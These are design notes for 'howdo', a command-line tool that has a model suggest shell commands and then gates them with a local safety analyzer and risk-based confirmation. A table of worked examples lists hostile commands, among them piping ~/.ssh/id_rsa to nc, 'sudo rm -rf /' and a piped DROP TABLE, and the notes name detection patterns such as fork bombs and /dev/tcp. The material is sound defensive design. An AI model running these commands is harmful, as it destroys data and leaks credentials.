howdo design notes

Pipeline

query ──► probe (cached 1 day) ─┐
          cwd listing (<=50)  ──┼─► compact prompt ─► Haiku ─► Suggestion (pydantic)
                                │                                   │
                                │                    local safety analyzer (authoritative)
                                │                                   │
                                └──────────────► risk = max(model, local[, sudo>=medium]) ─► confirmation ─► run

Everything that can be decided without the model is decided before the call (machine facts, directory names, man-page excerpts) or after it (risk, confirmation policy). The model only translates and explains.

Machine probe

probe.py collects OS and distro (/etc/os-release or sw_vers), the shell from $SHELL, which of a fixed list of tools are on PATH (fd/fdfind, rg, jq, bat/batcat, ...), the package manager, and whether we are root. It also probes ls sed grep find date xargs tar awk with --version to tell GNU from BSD/busybox/mawk:

output of `tool --version`	flavor
contains `busybox`	busybox
contains `GNU`	gnu
contains `mawk`	mawk
contains `bsd`/`libarchive`, or exit != 0	bsd

That one fact prevents the most common wrong answer ("sed -i vs sed -i ''", date -d vs date -v). The probe is cached as JSON for 24 hours in ~/.cache/howdo/probe.json; --refresh-probe bypasses it. The working-directory listing (names only, dirs suffixed /, dotfiles last, capped at 50) is never cached and can be dropped with --no-cwd.

Safety analyzer

The analyzer never trusts the model and never executes anything.

Tokenizer (shelltok.py). A small state machine, not a full shell grammar. It splits on ; && || | |& & and newlines, tracks single/double quotes and backslashes, keeps $(...), backticks and <(...) as one word while recording their inner text, and separates redirections (>, >>, &>, 2>&1, ...). Each word records whether it expands (unquoted or double-quoted $/backtick) and whether it globs (an unquoted, unescaped * ? [).
Normalisation. Leading VAR=x assignments and wrappers (sudo -u x, env, nohup, timeout 5, nice -n, ...) are peeled off so the real command name is analysed. sh -c '...', eval, xargs cmd, find -exec cmd and every $(...) are analysed recursively (depth-capped); xargs/-exec targets count as "unknown arguments".
Rules per command (rm, dd, mkfs, chmod/chown, git, find, docker, kubectl, SQL clients, nc, curl uploads, power commands, ...), plus whole-command checks for fork bombs, /dev/tcp, and download-and-execute.
Result: findings with a risk each; the analysis risk is the max.

Worked examples (howdo --check):

command	verdict	why
`echo "rm -rf /"`	low	the dangerous text is a quoted argument to `echo`
`rm -rf node_modules`	medium	recursive delete of a fixed, relative path
`rm -rf "$BUILD_DIR"/*`	high	recursive delete where the target is variable-derived and globbed: if `$BUILD_DIR` is empty this is `rm -rf /*`
`rm -rf \*`	medium	the star is escaped, so it names a literal file
`find . -name '*.log' \\| xargs rm -rf`	high	recursive delete of piped, unknown paths
`sudo rm -rf /`	high	root target, plus privilege escalation
`cat ~/.ssh/id_rsa \\| nc host 9999`	high	sensitive file combined with a network tool
`echo x > notes.txt`	medium only if `notes.txt` exists	`>` truncates; the check uses the real filesystem
`echo "DROP TABLE t" \\| psql`	high	SQL text only counts when a DB client is present, or the command is not a text tool like `echo`/`grep`

The analyzer is deliberately conservative where it cannot see: computed command names and unparseable input are medium. It is a guard rail for accidents, not a sandbox against an adversary. Known gaps: here-doc bodies are tokenized as commands, shell functions and aliases are not expanded, and $VAR that happens to hold a dangerous value is only caught for the destructive commands listed.

Risk gating

risk.py holds the policy so it can be tested without a terminal:

risk = max(model_risk, local_risk); requires_sudo floors it at medium.
low: Enter runs. medium: type y. high: type run. Anything else, or EOF/Ctrl-C, cancels.
--never-run / HOWDO_NEVER_RUN=1 skips the prompt entirely and never executes.
howdo '!!' re-analyzes the stored command with the current analyzer, so a rule added later still applies.

Explain mode and man-page extraction

howdo --explain "tar -xzvf a.tgz -C /tmp" avoids sending whole man pages. For each distinct command in the line (subcommand page first for git, docker, ...: man -P cat git-commit, falling back to git):

render the page with man -P cat (width 80, overstrikes and ANSI stripped);
find option entries: a line indented 1-12 spaces that starts with -, plus the following more-indented lines;
collect the flags actually used (-xzvf becomes -x -z -v -f, --file=x becomes --file);
keep only entries whose header lists one of those flags as an exact token, each capped at 700 characters, plus the NAME line; the whole excerpt is capped at 3000 characters.

For the tar example that is about 560 input tokens instead of tens of thousands for the full page.

Caching and cost

Responses are cached in ~/.cache/howdo/responses/<sha256(model, system, prompt)>.json; since the prompt contains the machine context and directory listing, a cache hit is only possible for the same question in the same situation. --verbose prints tokens and the estimated cost at Haiku 5.5 prices ($0.10 / $0.50 per million tokens). Requests use output_config={"effort": "low"} and messages.parse with pydantic models for structured output.

Shell integration

howdo --print -- "<request>" writes only the command to stdout (warnings go to stderr) and never runs it. howdo --shell-init bash|zsh|fish prints a widget that sends the current prompt line to that mode and replaces the line with the result, so you can edit before pressing Enter.